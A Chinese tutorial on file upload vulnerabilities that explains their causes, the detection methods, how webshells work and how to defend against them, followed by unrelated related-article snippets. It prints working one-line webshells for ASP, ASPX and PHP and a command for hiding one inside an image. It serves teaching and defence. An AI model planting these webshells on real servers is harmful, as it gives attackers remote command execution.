文件上传漏洞

简介: 文件上传漏洞允许攻击者上传可执行脚本,获取服务器控制权。常见原因包括服务器配置不当、验证不严等。防御措施包括设置不可执行的上传目录、严格文件类型检查、随机化文件名和路径,以及使用独立的文件服务器域名。WebShell是上传的恶意脚本,常用于控制网站服务器。

文件上传漏洞靶场:upload-labs

https://github.com/c0ny1/upload-labs/releases

文件上传简介

什么是文件上传

将客户端数据以文件形式封装,通过网络协议发送到服务器端。在服务器端解析数据,最终在服务端硬盘上作为真实的文件保存。通常一个文件以HTTP协议进行上传时,将以POST请求发送至Web服务器,Web服务器收到请求并同意后,用户与Web服务器将建立连接,并传输数据。

什么是文件上传漏洞

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,"文件上传"本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器端脚本语言未对上传的文件进行严格的验证和过滤,就容易造成上传任意文件的情况。

通常web站点会有用户注册功能,而当用户登录之后大多数情况下会存在类似头像上传、附件上传之类的功能,这些功能点往往存在上传验证方式不严格的安全缺陷,导致攻击者通过各种手段绕过验证,上传非法文件,这是在web渗透中非常关键的突破口。

文件上传产生漏洞的原因

1. 服务器配置不当

2. 文件上传限制被绕过

3. 开源编辑器的上传漏洞

4. 文件解析漏洞导致文件执行

5. 过滤不严或被绕过

文件上传检测方式

一般一个文件上传过程中的检测方式有:

客户端JavaScript检测(检测文件扩展名)

服务端MIME类型检测(检测content-type内容)

服务端目录路径检测(检测跟path参数相关的内容)

服务端文件扩展名检测 (检测跟文件extension相关的内容)

服务端文件内容检测(检测内容是否合法是否含有恶意代码)

文件上传漏洞危害

攻击者通过上传恶意文件传递给解释器去执行,然后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理、命令执行等恶意操作。从而控制整个网站及服务器。 这个恶意的文件(php、aspaspxjsp等),又被称WebShell

Webshell简介

WebShell就是以ASPPHPJSP或者CGI等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门。攻击者在入侵了一个网站后,通常会将这些aspphp后门文件与网站服务器web目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)。

常用一句话Webshell

php一句话木马:

asp一句话木马: <%eval request("value")%>

aspx一句话木马: <%@ Page Language="Jscript"%><%eval(Request.Item["value"])%>

制作一句话图片马: copy 1.jpg/b+1.php/a 2.jpg

Webshell原理

以一个原始而又简单的php一句话木马为例:

<?php
    @eval($_POST['cmd']);
?>
  • php的代码要写在里面,服务器才能认出来这是php代码,然后才去解析。
  • @ 符号的意思是不报错,因为变量没有定义而被使用,服务器会提醒XXX变量未定义。
  • $_POST['cmd'];
  • php里面有几个超全局变量, $_GET$_POST 就是其中之一,意思是用 post 的方法接收变量
  • cmd传递来的字符。
  • eval() 把字符串作为PHP代码执行

文件上传漏洞防御

1. 文件上传的目录设置为不可执行

只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,这一点至关重要。

2. 判断文件类型

在判断文件类型时,可以结合使用MIME-Type、后缀检查等方式。在文件类型检查中,强烈推荐白名单方式,黑名单的方式已经无数次被证明是不可靠的。此外,对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的HTML代码。

3. 使用随机数改写文件名和文件路径

文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果应用了随机数改写了文件名和路径,将极大地增加攻击的成本。再来就是像shell.php.rar.rarcrossdomain.xml这种文件,都将因为重命名而无法攻击。

4. 单独设置文件服务器的域名

由于浏览器同源策略的关系,一系列客户端攻击将失效,比如上传crossdomain.xml、上传包含JavascriptXSS利用等问题将得到解决。

文件上传漏洞总结

image.png

目录
相关文章
|
测试技术
apifox的并发处理—通过动态变量实现
apifox的并发处理—通过动态变量实现
apifox的并发处理—通过动态变量实现
|
存储 XML 数据库
Flowable 完整表结构说明(一)
Flowable 完整表结构说明
3238 0
|
9月前
|
算法 架构师 Java
Java 开发岗及 java 架构师百度校招历年经典面试题汇总
以下是百度校招Java岗位面试题精选摘要(150字): Java开发岗重点关注集合类、并发和系统设计。HashMap线程安全可通过Collections.synchronizedMap()或ConcurrentHashMap实现,后者采用分段锁提升并发性能。负载均衡算法包括轮询、加权轮询和最少连接数,一致性哈希可均匀分布请求。Redis持久化有RDB(快照恢复快)和AOF(日志更安全)两种方式。架构师岗涉及JMM内存模型、happens-before原则和无锁数据结构(基于CAS)。
257 5
|
人工智能 自然语言处理
论文介绍:大型语言模型作为优化器
【2月更文挑战第29天】OPRO研究利用大型语言模型(LLMs)作为优化器解决各种问题,将复杂优化转化为自然语言描述,通过设计元提示引导LLMs生成解决方案。在数学优化和自然语言处理任务中展现出潜力,尤其在旅行商问题上优于其他模型。然而,LLMs可能陷入局部最优解且存在数学计算错误。尽管有挑战,OPRO仍优于传统优化方法,为LLMs应用开辟新方向。论文链接:https://arxiv.org/abs/2309.03409
270 1
论文介绍:大型语言模型作为优化器
|
自然语言处理 数据可视化 数据挖掘
基于python的VR眼镜口碑情感分析,包括lda和情感分析
本文通过Python LDA模型和情感分析技术对京东VR眼镜的用户评论进行深入分析,揭示了消费者对产品的情感倾向、关注点和满意度,为企业提供市场洞察和改进方向。
457 1
基于python的VR眼镜口碑情感分析,包括lda和情感分析
|
小程序 前端开发 中间件
ThinkPHP 配置跨域请求,使用TP的内置跨域类配置,小程序和web网页跨域请求的区别及格式说明
本文介绍了如何在ThinkPHP框架中配置跨域请求,使用了TP内置的跨域类`\think\middleware\AllowCrossDomain::class`。文章还讨论了小程序和web网页在跨域请求格式上的区别,并提供了解决方案,包括修改跨域中间件源码以支持`Origin`和`token`。此外,还介绍了微信小程序跨域请求的示例和web网页前端发送Axios跨域请求的请求拦截器配置。
ThinkPHP 配置跨域请求,使用TP的内置跨域类配置,小程序和web网页跨域请求的区别及格式说明
|
Windows
MyKeymap按键映射工具
MyKeymap能减少键鼠切换、实现全键盘操作,让「编辑文字」和「窗口管理」更快捷。提升工作学习中写代码、编辑文字、整理笔记、管理窗口的效率,掌握MyKeymap后,能让使用Windows的日常,拥有流畅、舒适、顺滑的操作体验。
512 2
MyKeymap按键映射工具
|
SQL XML 安全
BugKu CTF(Web):sqli-0x1 & baby lfi & baby lfi 2
BugKu CTF(Web):sqli-0x1 & baby lfi & baby lfi 2
|
人工智能 搜索推荐 安全
Star 18k!推荐一款免费开源的简历生成神器,还搭配AI助力,面试官看了都不仅赞叹!
Star 18k!推荐一款免费开源的简历生成神器,还搭配AI助力,面试官看了都不仅赞叹!
925 2

热门文章

最新文章